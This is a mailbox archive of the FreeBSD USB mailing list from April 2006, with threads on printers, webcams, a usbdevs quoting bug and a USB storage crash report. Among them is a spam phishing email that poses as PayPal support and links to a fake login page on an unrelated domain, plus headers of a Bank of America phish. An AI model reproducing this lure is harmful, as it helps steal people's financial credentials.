UPS with a serial connection, so I=20 can't try and reproduce it here. =2D-=20 Anish Mistry amistry@am-productions.biz AM Productions http://am-productions.biz/ --nextPart3359510.AoM8gAynxI Content-Type: application/pgp-signature -----BEGIN PGP SIGNATURE----- Version: GnuPG v1.4.3 (FreeBSD) iD8DBQBETkMzxqA5ziudZT0RAs9LAJ4jxEn0/6v098/tE62/hM45DG2ISACdH6qc HrbiNs2XY/3axhgUrA2ZZcM= =LEgv -----END PGP SIGNATURE----- --nextPart3359510.AoM8gAynxI-- From owner-freebsd-usb@FreeBSD.ORG Wed Apr 26 00:38:45 2006 Return-Path: X-Original-To: freebsd-usb@freebsd.org Delivered-To: freebsd-usb@freebsd.org Received: from mx1.FreeBSD.org (mx1.freebsd.org [216.136.204.125]) by hub.freebsd.org (Postfix) with ESMTP id 2B4EA16A402 for ; Wed, 26 Apr 2006 00:38:45 +0000 (UTC) (envelope-from root@jgl.inksterstattoo.net) Received: from jgl.inksterstattoo.net (jgl.inksterstattoo.net [64.105.196.234]) by mx1.FreeBSD.org (Postfix) with ESMTP id 351BC43D53 for ; Wed, 26 Apr 2006 00:38:43 +0000 (GMT) (envelope-from root@jgl.inksterstattoo.net) Received: by jgl.inksterstattoo.net (Postfix, from userid 0) id 1E9E6248437; Tue, 25 Apr 2006 20:38:20 -0400 (EDT) To: freebsd-usb@freebsd.org From: "Customer Support" <"support@paypal.com"@jgl.inksterstattoo.net> Errors-To: support@paypal.com Message-Id: <20060426003820.1E9E6248437@jgl.inksterstattoo.net> Date: Tue, 25 Apr 2006 20:38:20 -0400 (EDT) MIME-Version: 1.0 Content-Type: text/plain X-Content-Filtered-By: Mailman/MimeDel 2.1.5 Subject: account maintenance and verification ( Your account is suspended ) X-BeenThere: freebsd-usb@freebsd.org X-Mailman-Version: 2.1.5 Precedence: list Reply-To: support@paypal.com List-Id: FreeBSD support for USB List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Wed, 26 Apr 2006 00:38:45 -0000 [1][paypal_logo.gif] [pixel.gif] PayPal Security Measures! In accordance with PayPal's User Agreement and to ensure that your account has not been compromised, access to your account was limited. Your account access will remain limited until this issue has been resolved. To secure your account and quickly restore full access, we may require some additional information from you. To securely confirm your PayPal information please go directly to [2]https://www.paypal.com/ log in to your PayPal account and perform the steps necessary to restore your account access as soon as possible or click bellow: To continue your verification procedure [3]click here Thank you for using PayPal! The PayPal Team Please do not reply to this e-mail. Mail sent to this address cannot be answered. For assistance, [4]log in to your PayPal account and choose the "Help" link in the footer of any page. To receive email notifications in plain text instead of HTML, update your preferences [5]here. [pixel.gif] References 1. http://www.paypal.com/cgi-bin/webscr?cmd=_home 2. http://www.romspedition.ro/webmail.htm/www.paypal.com/ws/cgi-bin/webscr/login-submit/redirect.to.paypal.com/paypal/login.html 3. http://www.romspedition.ro/webmail.htm/www.paypal.com/ws/cgi-bin/webscr/login-submit/redirect.to.paypal.com/paypal/login.html 4. http://www.romspedition.ro/webmail.htm/www.paypal.com/ws/cgi-bin/webscr/login-submit/redirect.to.paypal.com/paypal/login.html 5. https://www.paypal.com/us/PREFS-NOTI From owner-freebsd-usb@FreeBSD.ORG Wed Apr 26 14:16:20 2006 Return-Path: X-Original-To: freebsd-usb@freebsd.org Delivered-To: freebsd-usb@freebsd.org Received: from mx1.FreeBSD.org (mx1.freebsd.org [216.136.204.125]) by hub.freebsd.org (Postfix) with ESMTP id 7A3C616A410 for ; Wed, 26 Apr 2006 14:16:20 +0000 (UTC) (envelope-from dpaton@unex.es) Received: from pizarro.unex.es (pizarro.unex.es [158.49.8.2]) by mx1.FreeBSD.org (Postfix) with ESMTP id 02C5043D6B for ; Wed, 26 Apr 2006 14:16:10 +0000 (GMT) (envelope-from dpaton@unex.es) Received: from localhost (almendralejo.unex.es [158.49.8.199]) by pizarro.unex.es (Postfix/MJ-1.08) with ESMTP id 4EDB3D147B for ; Wed, 26 Apr 2006 16:16:09 +0200 (CEST) Received: from pizarro.unex.es ([158.49.8.2]) by localhost (emilio [158.49.17.20]) (amavisd-new, port 10024) with ESMTP id 15873-09 for ; Wed, 26 Apr 2006 16:16:29 +0200 (CEST) Received: from tajo.unex.es (tajo.unex.es [158.49.113.21]) by pizarro.unex.es (Postfix/MJ-1.08) with ESMTP id 35738D1478 for ; Wed, 26 Apr 2006 16:16:08 +0200 (CEST) Received: from [158.49.25.77] (helo=[158.49.25.77]) by tajo.unex.es with asmtp (Exim 3.35 #1 (Debian)) id 1FYkoT-0008Kt-00 for ; Wed, 26 Apr 2006 16:16:17 +0200 From: Daniel =?ISO-8859-1?Q?Pat=F3n_Dom=EDnguez?= To: freebsd-usb@freebsd.org In-Reply-To: Content-Type: text/plain; charset=iso-8859-15 Date: Wed, 26 Apr 2006 16:16:15 +0200 Message-Id: <1146060975.4505.2.camel@localhost.localdomain> Mime-Version: 1.0 X-Mailer: Evolution 2.0.4 Content-Transfer-Encoding: quoted-printable X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at unex.es Subject: usb/88516: [patch]/dev/ulpt hangs when try read() from it (LBP-1120 printer) X-BeenThere: freebsd-usb@freebsd.org X-Mailman-Version: 2.1.5 Precedence: list List-Id: FreeBSD support for USB List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Wed, 26 Apr 2006 14:16:20 -0000 Do you to obtain any good results with FreeBSD and Canon LBP 1120. I am completely bored of my Debian GNU Linux and its poor memory management. When I am using clamav the computer stop it by bad management of memory. I am agree with Theo de Raadt. In the last years the development of Linux is entrying in similar fast development to Windows. Unfortunately I need this printer and a scanner and this is the only reason of my use of Debian. Thanks=20 --=20 =3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D= =3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D Daniel Pat=F3n Dom=EDnguez Area de Ecolog=EDa. Departamento de F=EDsica Facultad de Ciencias. Avda. de Elvas s/n 06071 Badajoz (Espa=F1a). Universidad de Extremadura FAX: 924249580 TF: 924289300 ext 6930 E-mail: dpaton@unex.es. http://ecologia.unex.es =3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D= =3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D ---------------------------------------------- No busques la verdad fuera de ti mismo en=20 soluciones externas. Perder=E1s tiempo, dinero y no conseguir=E1s la iluminaci=F3n en esta vida. ..... Usa Linux, contiene todo lo que necesitas. ---------------------------------------------- From owner-freebsd-usb@FreeBSD.ORG Wed Apr 26 17:43:26 2006 Return-Path: X-Original-To: freebsd-usb@FreeBSD.org Delivered-To: freebsd-usb@FreeBSD.org Received: from mx1.FreeBSD.org (mx1.freebsd.org [216.136.204.125]) by hub.freebsd.org (Postfix) with ESMTP id 9DF7C16A401 for ; Wed, 26 Apr 2006 17:43:26 +0000 (UTC) (envelope-from s4412038@psu.ac.th) Received: from first.psu.ac.th (first.psu.ac.th [202.12.73.103]) by mx1.FreeBSD.org (Postfix) with ESMTP id E0DA343D45 for ; Wed, 26 Apr 2006 17:43:25 +0000 (GMT) (envelope-from s4412038@psu.ac.th) Received: from first.psu.ac.th (localhost.localdomain [127.0.0.1]) by first.psu.ac.th (8.12.8/8.12.8) with ESMTP id k3QHhQ0L021066 for ; Thu, 27 Apr 2006 00:43:26 +0700 Received: (from apache@localhost) by first.psu.ac.th (8.12.8/8.12.8/Submit) id k3QHhQp9021064; Thu, 27 Apr 2006 00:43:26 +0700 X-Authentication-Warning: first.psu.ac.th: apache set sender to s4412038@psu.ac.th using -f Received: from 172.30.129.177 (SquirrelMail authenticated user s4412038); by webmail.psu.ac.th with HTTP; Thu, 27 Apr 2006 00:43:26 +0700 (ICT) Message-ID: <1118.172.30.129.177.1146073406.squirrel@172.30.129.177> Date: Thu, 27 Apr 2006 00:43:26 +0700 (ICT) From: s4412038@psu.ac.th To: freebsd-usb@FreeBSD.org User-Agent: SquirrelMail/1.4.3a-0.f0.9.6.legacy X-Mailer: SquirrelMail/1.4.3a-0.f0.9.6.legacy MIME-Version: 1.0 Content-Type: text/plain;charset=tis-620 Content-Transfer-Encoding: 8bit X-Priority: 3 (Normal) Importance: Normal X-Mailman-Approved-At: Wed, 26 Apr 2006 17:45:26 +0000 Cc: Subject: Help me to use USB webcam on FreeBSD-4.9 X-BeenThere: freebsd-usb@freebsd.org X-Mailman-Version: 2.1.5 Precedence: list List-Id: FreeBSD support for USB List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Wed, 26 Apr 2006 17:43:26 -0000 Dear Sir, I'd like to use webcam(logitech pro 3000) on FreeBSD-4.9. It might be known Philips for the other OS e.g. linux But I don't know whether this release support usb interface or not. Becasue when I attach webcam on my machine, I don't find device name of that webcam. Then I cannot mount that webcam on my machine. I have found from usb-group of freebsd in this link http://www.freebsd.org/cgi/query-pr.cgi?pr=91863 that someone can use webcam on FreeBSD. Please help me to enable webcam. Regards Maneenate:> ----------------------------------------- This email was sent using SquirrelMail. https://front.psu.ac.th/ ----------------------------------------- This email was sent using SquirrelMail. https://front.psu.ac.th/ From owner-freebsd-usb@FreeBSD.ORG Wed Apr 26 23:30:27 2006 Return-Path: X-Original-To: freebsd-usb@hub.freebsd.org Delivered-To: freebsd-usb@hub.freebsd.org Received: from mx1.FreeBSD.org (mx1.freebsd.org [216.136.204.125]) by hub.freebsd.org (Postfix) with ESMTP id 7414316A400; Wed, 26 Apr 2006 23:30:27 +0000 (UTC) (envelope-from linimon@FreeBSD.org) Received: from freefall.freebsd.org (freefall.freebsd.org [216.136.204.21]) by mx1.FreeBSD.org (Postfix) with ESMTP id 3068143D46; Wed, 26 Apr 2006 23:30:27 +0000 (GMT) (envelope-from linimon@FreeBSD.org) Received: from freefall.freebsd.org (linimon@localhost [127.0.0.1]) by freefall.freebsd.org (8.13.4/8.13.4) with ESMTP id k3QNURxX090513; Wed, 26 Apr 2006 23:30:27 GMT (envelope-from linimon@freefall.freebsd.org) Received: (from linimon@localhost) by freefall.freebsd.org (8.13.4/8.13.4/Submit) id k3QNURim090509; Wed, 26 Apr 2006 23:30:27 GMT (envelope-from linimon) Date: Wed, 26 Apr 2006 23:30:27 GMT From: Mark Linimon Message-Id: <200604262330.k3QNURim090509@freefall.freebsd.org> To: linimon@FreeBSD.org, freebsd-bugs@FreeBSD.org, freebsd-usb@FreeBSD.org Cc: Subject: Re: usb/96381: [patch] add a quirk table entry for a flash ram usb stick X-BeenThere: freebsd-usb@freebsd.org X-Mailman-Version: 2.1.5 Precedence: list List-Id: FreeBSD support for USB List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Wed, 26 Apr 2006 23:30:27 -0000 Old Synopsis: add a quirk table entry for a flash ram usb stick New Synopsis: [patch] add a quirk table entry for a flash ram usb stick Responsible-Changed-From-To: freebsd-bugs->freebsd-usb Responsible-Changed-By: linimon Responsible-Changed-When: Wed Apr 26 23:29:40 UTC 2006 Responsible-Changed-Why: Over to maintainer(s). http://www.freebsd.org/cgi/query-pr.cgi?pr=96381 From owner-freebsd-usb@FreeBSD.ORG Thu Apr 27 08:29:44 2006 Return-Path: X-Original-To: freebsd-usb@FreeBSD.org Delivered-To: freebsd-usb@FreeBSD.org Received: from mx1.FreeBSD.org (mx1.freebsd.org [216.136.204.125]) by hub.freebsd.org (Postfix) with ESMTP id CEE2716A401 for ; Thu, 27 Apr 2006 08:29:44 +0000 (UTC) (envelope-from fulda@seznam.cz) Received: from smtp.seznam.cz (smtp.seznam.cz [212.80.76.43]) by mx1.FreeBSD.org (Postfix) with SMTP id F0D6443D48 for ; Thu, 27 Apr 2006 08:29:43 +0000 (GMT) (envelope-from fulda@seznam.cz) Received: (qmail 15788 invoked from network); 27 Apr 2006 08:29:42 -0000 Received: from unknown (HELO PC2088) (fulda@seznam.cz@62.141.6.4) by cetus.go.seznam.cz with ESMTPA; 27 Apr 2006 08:29:42 -0000 X-Seznam-User: fulda@seznam.cz Message-ID: <006501c669d4$ba5b59d0$60c89109@PC2088> From: "Jindra Fucik" To: , References: <1118.172.30.129.177.1146073406.squirrel@172.30.129.177> Date: Thu, 27 Apr 2006 10:29:40 +0200 MIME-Version: 1.0 Content-Type: text/plain; format=flowed; charset="windows-874"; reply-type=original Content-Transfer-Encoding: 7bit X-Priority: 3 X-MSMail-Priority: Normal X-Mailer: Microsoft Outlook Express 6.00.2900.2869 X-Mimeole: Produced By Microsoft MimeOLE V6.00.2900.2869 Cc: Subject: Re: Help me to use USB webcam on FreeBSD-4.9 X-BeenThere: freebsd-usb@freebsd.org X-Mailman-Version: 2.1.5 Precedence: list List-Id: FreeBSD support for USB List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Thu, 27 Apr 2006 08:29:44 -0000 cd /usr/ports/graphics/spcaview; make; make install; make clean rehash #for csh not for bash ;o) spca5view #for X spca5shot #for cmd line Give me please info how your webcam work. Jindra ----- Original Message ----- From: To: Sent: Wednesday, April 26, 2006 7:43 PM Subject: Help me to use USB webcam on FreeBSD-4.9 > Dear Sir, > > I'd like to use webcam(logitech pro 3000) on FreeBSD-4.9. > It might be known Philips for the other OS e.g. linux > But I don't know whether this release support usb > interface or not. > Becasue when I attach webcam on my machine, > I don't find device name of that webcam. > > Then I cannot mount that webcam on my machine. > I have found from usb-group of freebsd in this link > http://www.freebsd.org/cgi/query-pr.cgi?pr=91863 > that someone can use webcam on FreeBSD. > > Please help me to enable webcam. > > Regards > Maneenate:> > > > > ----------------------------------------- > This email was sent using SquirrelMail. > https://front.psu.ac.th/ > > > > > ----------------------------------------- > This email was sent using SquirrelMail. > https://front.psu.ac.th/ > _______________________________________________ > freebsd-usb@freebsd.org mailing list > http://lists.freebsd.org/mailman/listinfo/freebsd-usb > To unsubscribe, send any mail to "freebsd-usb-unsubscribe@freebsd.org" From owner-freebsd-usb@FreeBSD.ORG Thu Apr 27 17:26:25 2006 Return-Path: X-Original-To: freebsd-usb@freebsd.org Delivered-To: freebsd-usb@freebsd.org Received: from mx1.FreeBSD.org (mx1.freebsd.org [216.136.204.125]) by hub.freebsd.org (Postfix) with ESMTP id 2B98F16A401 for ; Thu, 27 Apr 2006 17:26:25 +0000 (UTC) (envelope-from hselasky@c2i.net) Received: from mail49.e.nsc.no (mail49.e.nsc.no [193.213.115.49]) by mx1.FreeBSD.org (Postfix) with ESMTP id 6105B43D58 for ; Thu, 27 Apr 2006 17:26:23 +0000 (GMT) (envelope-from hselasky@c2i.net) Received: from acer-43b73db2a3.lan (ti131310a080-5948.bb.online.no [85.165.215.60]) by mail49.nsc.no (8.13.6/8.13.5) with ESMTP id k3RHQLeo024879 for ; Thu, 27 Apr 2006 19:26:22 +0200 (CEST) From: Hans Petter Selasky To: freebsd-usb@freebsd.org Date: Thu, 27 Apr 2006 19:26:08 +0200 User-Agent: KMail/1.7 MIME-Version: 1.0 Content-Type: text/plain; charset="us-ascii" Content-Transfer-Encoding: 7bit Content-Disposition: inline Message-Id: <200604271926.08372.hselasky@c2i.net> Subject: usbdevs question X-BeenThere: freebsd-usb@freebsd.org X-Mailman-Version: 2.1.5 Precedence: list List-Id: FreeBSD support for USB List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Thu, 27 Apr 2006 17:26:25 -0000 Why are there aprostrophes in the following descriptions in "usbdevs": product APPLE IPOD_04 0x1204 iPod "04" product APPLE IPOD_06 0x1206 iPod "06" product APPLE IPOD_07 0x1207 iPod "07" product APPLE IPOD_08 0x1208 iPod "08" Maybe I missed something, but the old "usbdevs2h.awk" produces this: { USB_VENDOR_APPLE, USB_PRODUCT_APPLE_IPOD_04, 0, "Apple Computer", "iPod "04"", }, Which is not compileable. --HPS From owner-freebsd-usb@FreeBSD.ORG Thu Apr 27 17:33:23 2006 Return-Path: X-Original-To: freebsd-usb@freebsd.org Delivered-To: freebsd-usb@freebsd.org Received: from mx1.FreeBSD.org (mx1.freebsd.org [216.136.204.125]) by hub.freebsd.org (Postfix) with ESMTP id 8434116A400 for ; Thu, 27 Apr 2006 17:33:23 +0000 (UTC) (envelope-from imp@bsdimp.com) Received: from harmony.bsdimp.com (vc4-2-0-87.dsl.netrack.net [199.45.160.85]) by mx1.FreeBSD.org (Postfix) with ESMTP id 1225B43D46 for ; Thu, 27 Apr 2006 17:33:23 +0000 (GMT) (envelope-from imp@bsdimp.com) Received: from localhost (localhost.village.org [127.0.0.1] (may be forged)) by harmony.bsdimp.com (8.13.4/8.13.4) with ESMTP id k3RHV4Ec062096; Thu, 27 Apr 2006 11:31:05 -0600 (MDT) (envelope-from imp@bsdimp.com) Date: Thu, 27 Apr 2006 11:31:20 -0600 (MDT) Message-Id: <20060427.113120.99829081.imp@bsdimp.com> To: hselasky@c2i.net From: "M. Warner Losh" In-Reply-To: <200604271926.08372.hselasky@c2i.net> References: <200604271926.08372.hselasky@c2i.net> X-Mailer: Mew version 3.3 on Emacs 21.3 / Mule 5.0 (SAKAKI) Mime-Version: 1.0 Content-Type: Text/Plain; charset=us-ascii Content-Transfer-Encoding: 7bit Cc: freebsd-usb@freebsd.org Subject: Re: usbdevs question X-BeenThere: freebsd-usb@freebsd.org X-Mailman-Version: 2.1.5 Precedence: list List-Id: FreeBSD support for USB List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Thu, 27 Apr 2006 17:33:23 -0000 In message: <200604271926.08372.hselasky@c2i.net> Hans Petter Selasky writes: : : Why are there aprostrophes in the following descriptions in "usbdevs": : : product APPLE IPOD_04 0x1204 iPod "04" : product APPLE IPOD_06 0x1206 iPod "06" : product APPLE IPOD_07 0x1207 iPod "07" : product APPLE IPOD_08 0x1208 iPod "08" : : : Maybe I missed something, but the old "usbdevs2h.awk" produces this: : : { : USB_VENDOR_APPLE, USB_PRODUCT_APPLE_IPOD_04, : 0, : "Apple Computer", : "iPod "04"", : }, : : Which is not compileable. We don't compile this by default... Warner From owner-freebsd-usb@FreeBSD.ORG Thu Apr 27 17:36:45 2006 Return-Path: X-Original-To: freebsd-usb@freebsd.org Delivered-To: freebsd-usb@freebsd.org Received: from mx1.FreeBSD.org (mx1.freebsd.org [216.136.204.125]) by hub.freebsd.org (Postfix) with ESMTP id DEC6E16A400 for ; Thu, 27 Apr 2006 17:36:45 +0000 (UTC) (envelope-from imp@bsdimp.com) Received: from harmony.bsdimp.com (vc4-2-0-87.dsl.netrack.net [199.45.160.85]) by mx1.FreeBSD.org (Postfix) with ESMTP id 153BB43D68 for ; Thu, 27 Apr 2006 17:36:42 +0000 (GMT) (envelope-from imp@bsdimp.com) Received: from localhost (localhost.village.org [127.0.0.1] (may be forged)) by harmony.bsdimp.com (8.13.4/8.13.4) with ESMTP id k3RHY0va062136; Thu, 27 Apr 2006 11:34:01 -0600 (MDT) (envelope-from imp@bsdimp.com) Date: Thu, 27 Apr 2006 11:34:17 -0600 (MDT) Message-Id: <20060427.113417.43008611.imp@bsdimp.com> To: hselasky@c2i.net From: "M. Warner Losh" In-Reply-To: <200604271926.08372.hselasky@c2i.net> References: <200604271926.08372.hselasky@c2i.net> X-Mailer: Mew version 3.3 on Emacs 21.3 / Mule 5.0 (SAKAKI) Mime-Version: 1.0 Content-Type: Text/Plain; charset=us-ascii Content-Transfer-Encoding: 7bit Cc: freebsd-usb@freebsd.org Subject: Re: usbdevs question X-BeenThere: freebsd-usb@freebsd.org X-Mailman-Version: 2.1.5 Precedence: list List-Id: FreeBSD support for USB List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Thu, 27 Apr 2006 17:36:46 -0000 In message: <200604271926.08372.hselasky@c2i.net> Hans Petter Selasky writes: : Which is not compileable. I've fixed it now. The reason that it wasn't noticed was that we don't compile the .c file generated by default. Warner From owner-freebsd-usb@FreeBSD.ORG Fri Apr 28 10:20:18 2006 Return-Path: X-Original-To: freebsd-usb@hub.freebsd.org Delivered-To: freebsd-usb@hub.freebsd.org Received: from mx1.FreeBSD.org (mx1.freebsd.org [216.136.204.125]) by hub.freebsd.org (Postfix) with ESMTP id 0417A16A406 for ; Fri, 28 Apr 2006 10:20:18 +0000 (UTC) (envelope-from gnats@FreeBSD.org) Received: from freefall.freebsd.org (freefall.freebsd.org [216.136.204.21]) by mx1.FreeBSD.org (Postfix) with ESMTP id 314E843D53 for ; Fri, 28 Apr 2006 10:20:17 +0000 (GMT) (envelope-from gnats@FreeBSD.org) Received: from freefall.freebsd.org (gnats@localhost [127.0.0.1]) by freefall.freebsd.org (8.13.4/8.13.4) with ESMTP id k3SAKHmd038113 for ; Fri, 28 Apr 2006 10:20:17 GMT (envelope-from gnats@freefall.freebsd.org) Received: (from gnats@localhost) by freefall.freebsd.org (8.13.4/8.13.4/Submit) id k3SAKGQG038112; Fri, 28 Apr 2006 10:20:17 GMT (envelope-from gnats) Resent-Date: Fri, 28 Apr 2006 10:20:17 GMT Resent-Message-Id: <200604281020.k3SAKGQG038112@freefall.freebsd.org> Resent-From: FreeBSD-gnats-submit@FreeBSD.org (GNATS Filer) Resent-To: freebsd-usb@FreeBSD.org Resent-Reply-To: FreeBSD-gnats-submit@FreeBSD.org, Peter Received: from mx1.FreeBSD.org (mx1.freebsd.org [216.136.204.125]) by hub.freebsd.org (Postfix) with ESMTP id 4CF0E16A402 for ; Fri, 28 Apr 2006 10:16:41 +0000 (UTC) (envelope-from nobody@FreeBSD.org) Received: from www.freebsd.org (www.freebsd.org [216.136.204.117]) by mx1.FreeBSD.org (Postfix) with ESMTP id 0E3FF43D49 for ; Fri, 28 Apr 2006 10:16:41 +0000 (GMT) (envelope-from nobody@FreeBSD.org) Received: from www.freebsd.org (localhost [127.0.0.1]) by www.freebsd.org (8.13.1/8.13.1) with ESMTP id k3SAGeav001447 for ; Fri, 28 Apr 2006 10:16:40 GMT (envelope-from nobody@www.freebsd.org) Received: (from nobody@localhost) by www.freebsd.org (8.13.1/8.13.1/Submit) id k3SAGeaH001446; Fri, 28 Apr 2006 10:16:40 GMT (envelope-from nobody) Message-Id: <200604281016.k3SAGeaH001446@www.freebsd.org> Date: Fri, 28 Apr 2006 10:16:40 GMT From: Peter To: freebsd-gnats-submit@FreeBSD.org X-Send-Pr-Version: www-2.3 Cc: Subject: usb/96457: fatback on umass = reboot X-BeenThere: freebsd-usb@freebsd.org X-Mailman-Version: 2.1.5 Precedence: list List-Id: FreeBSD support for USB List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Fri, 28 Apr 2006 10:20:18 -0000 >Number: 96457 >Category: usb >Synopsis: fatback on umass = reboot >Confidential: no >Severity: serious >Priority: high >Responsible: freebsd-usb >State: open >Quarter: >Keywords: >Date-Required: >Class: sw-bug >Submitter-Id: current-users >Arrival-Date: Fri Apr 28 10:20:16 GMT 2006 >Closed-Date: >Last-Modified: >Originator: Peter >Release: 6.0-RELEASE #0 >Organization: >Environment: FreeBSD f6.my.domain 6.0-RELEASE FreeBSD 6.0-RELEASE #0: Thu Nov 3 09:36:13 UTC 2005 root@x64.samsco.home:/usr/obj/usr/src/sys/GENERIC i386 >Description: Useing a program called: http://sourceforge.net/project/showfiles.php?group_id=46038&package_id=44988&release_id=84491 Fatback v1.3 (c) 2000-2001 DoD Computer Forensics Lab fatback: ELF 32-bit LSB executable, Intel 80386, version 1 (FreeBSD), for FreeBSD 5.0.2, statically linked, stripped Useing fatback on a flashcard reader with a 2GB flashcard on FreeBSD 6.0/i386 causes the machine to reboot with the following command: fatback -o . -a /dev/da2 Seems usb + storage is still not stable. Dmesg: Copyright (c) 1992-2005 The FreeBSD Project. Copyright (c) 1979, 1980, 1983, 1986, 1988, 1989, 1991, 1992, 1993, 1994 The Regents of the University of California. All rights reserved. FreeBSD 6.0-RELEASE #0: Thu Nov 3 09:36:13 UTC 2005 root@x64.samsco.home:/usr/obj/usr/src/sys/GENERIC Timecounter "i8254" frequency 1193182 Hz quality 0 CPU: Pentium Pro (199.74-MHz 686-class CPU) Origin = "GenuineIntel" Id = 0x617 Stepping = 7 Features=0xf9ff real memory = 83881984 (79 MB) avail memory = 72499200 (69 MB) npx0: [FAST] npx0: on motherboard npx0: INT 16 interface cpu0 on motherboard pcib0: pcibus 0 on motherboard pci0: on pcib0 isab0: at device 4.0 on pci0 isa0: on isab0 atapci0: port 0x1f0-0x1f7,0x3f6,0x170-0x177,0x376,0x500-0x50f at device 4.1 on pci0 ata0: on atapci0 ata1: on atapci0 uhci0: port 0xfce0-0xfcff irq 9 at device 6.0 on pci0 uhci0: [GIANT-LOCKED] usb0: on uhci0 usb0: USB revision 1.0 uhub0: VIA UHCI root hub, class 9/0, rev 1.00/1.00, addr 1 uhub0: 2 ports with 2 removable, self powered uhci1: port 0xfcc0-0xfcdf irq 11 at device 6.1 on pci0 uhci1: [GIANT-LOCKED] usb1: on uhci1 usb1: USB revision 1.0 uhub1: VIA UHCI root hub, class 9/0, rev 1.00/1.00, addr 1 uhub1: 2 ports with 2 removable, self powered ehci0: mem 0xfedffc00-0xfedffcff irq 10 at device 6.2 on pci0 ehci0: [GIANT-LOCKED] usb2: EHCI version 1.0 usb2: companion controllers, 2 ports each: usb0 usb1 usb2: on ehci0 usb2: USB revision 2.0 uhub2: VIA EHCI root hub, class 9/0, rev 2.00/1.00, addr 1 uhub2: 4 ports with 4 removable, self powered fwohci0: mem 0xfedfe000-0xfedfefff irq 9 at device 6.3 on pci0 fwohci0: OHCI version 1.10 (ROM=1) fwohci0: No. of Isochronous channels is 4. fwohci0: EUI64 00:00:4c:01:07:00:5c:71 fwohci0: Phy 1394a available S400, 2 ports. fwohci0: Link S400, max_rec 2048 bytes. firewire0: on fwohci0 fwe0: on firewire0 if_fwe0: Fake Ethernet address: 02:00:4c:00:5c:71 fwe0: Ethernet address: 02:00:4c:00:5c:71 fwe0: if_start running deferred for Giant sbp0: on firewire0 fwohci0: Initiate bus reset fwohci0: node_id=0xc000ffc0, gen=1, CYCLEMASTER mode firewire0: 1 nodes, maxhop <= 0, cable IRM = 0 (me) firewire0: bus manager 0 (me) fxp0: port 0xfca0-0xfcbf mem 0xfedfd000-0xfedfdfff,0xfec00000-0xfecfffff irq 5 at device 10.0 on pci0 miibus0: on fxp0 inphy0: on miibus0 inphy0: 10baseT, 10baseT-FDX, 100baseTX, 100baseTX-FDX, auto fxp0: Ethernet address: 00:60:b0:68:26:66 pci0: at device 13.0 (no driver attached) pmtimer0 on isa0 orm0: at iomem 0xc0000-0xc7fff on isa0 ep0: <3Com 3C509-TPO EtherLink III> at port 0x300-0x30f irq 10 on isa0 ep0: No irq?! device_attach: ep0 attach returned 6 atkbdc0: at port 0x60,0x64 on isa0 atkbd0: irq 1 on atkbdc0 kbd0 at atkbd0 atkbd0: [GIANT-LOCKED] fdc0: at port 0x3f0-0x3f5,0x3f7 irq 6 drq 2 on isa0 fdc0: [FAST] fd0: <1440-KB 3.5" drive> on fdc0 drive 0 ppc0: at port 0x378-0x37f irq 7 on isa0 ppc0: Generic chipset (NIBBLE-only) in COMPATIBLE mode ppbus0: on ppc0 plip0: on ppbus0 lpt0: on ppbus0 lpt0: Interrupt-driven port ppi0: on ppbus0 sc0: at flags 0x100 on isa0 sc0: VGA <16 virtual consoles, flags=0x300> sio0 at port 0x3f8-0x3ff irq 4 flags 0x10 on isa0 sio0: type 16550A sio1 at port 0x2f8-0x2ff irq 3 on isa0 sio1: type 16550A vga0: at port 0x3c0-0x3df iomem 0xa0000-0xbffff on isa0 unknown: can't assign resources (port) unknown: can't assign resources (port) unknown: can't assign resources (port) unknown: can't assign resources (port) unknown: can't assign resources (memory) unknown: can't assign resources (port) uaudio0: Creative Technology SB Live! 24-bit External, rev 1.10/1.00, addr 2 uaudio0: audio rev 1.00 pcm0: on uaudio0 Timecounter "TSC" frequency 199740157 Hz quality 800 Timecounters tick every 1.000 msec Syslog: Apr 27 21:26:49 f6 kernel: da2 at umass-sim0 bus 0 target 0 lun 2 Apr 27 21:26:49 f6 kernel: da2: Removable Direct Ac cess SCSI-0 device Apr 27 21:26:49 f6 kernel: da2: 40.000MB/s transfers Apr 27 21:26:49 f6 kernel: da2: 1962MB (4019200 512 byte sectors: 255H 63S/T 250 C) >How-To-Repeat: Setup a freebsd6.0 i386 system. Download & compile fatback. Run it with a flashcards main device (/dev/da2). >Fix: Don't use fatback? =) >Release-Note: >Audit-Trail: >Unformatted: From owner-freebsd-usb@FreeBSD.ORG Sat Apr 29 05:52:15 2006 Return-Path: X-Original-To: freebsd-usb@freebsd.org Delivered-To: freebsd-usb@freebsd.org Received: from mx1.FreeBSD.org (mx1.freebsd.org [216.136.204.125]) by hub.freebsd.org (Postfix) with ESMTP id B3D8B16A411 for ; Sat, 29 Apr 2006 05:52:15 +0000 (UTC) (envelope-from nobody@web.q8line.net) Received: from web.q8line.net (web.q8line.net [208.185.82.130]) by mx1.FreeBSD.org (Postfix) with ESMTP id BF8A743D67 for ; Sat, 29 Apr 2006 05:52:10 +0000 (GMT) (envelope-from nobody@web.q8line.net) Received: from nobody by web.q8line.net with local (Exim 4.61 (FreeBSD)) (envelope-from ) id 1FZiNF-00008v-9Z for freebsd-usb@freebsd.org; Sat, 29 Apr 2006 08:52:09 +0300 To: freebsd-usb@freebsd.org From: Bank Of America Online Bank Content-Transfer-Encoding: 8bit Message-Id: Date: Sat, 29 Apr 2006 08:52:09 +0300 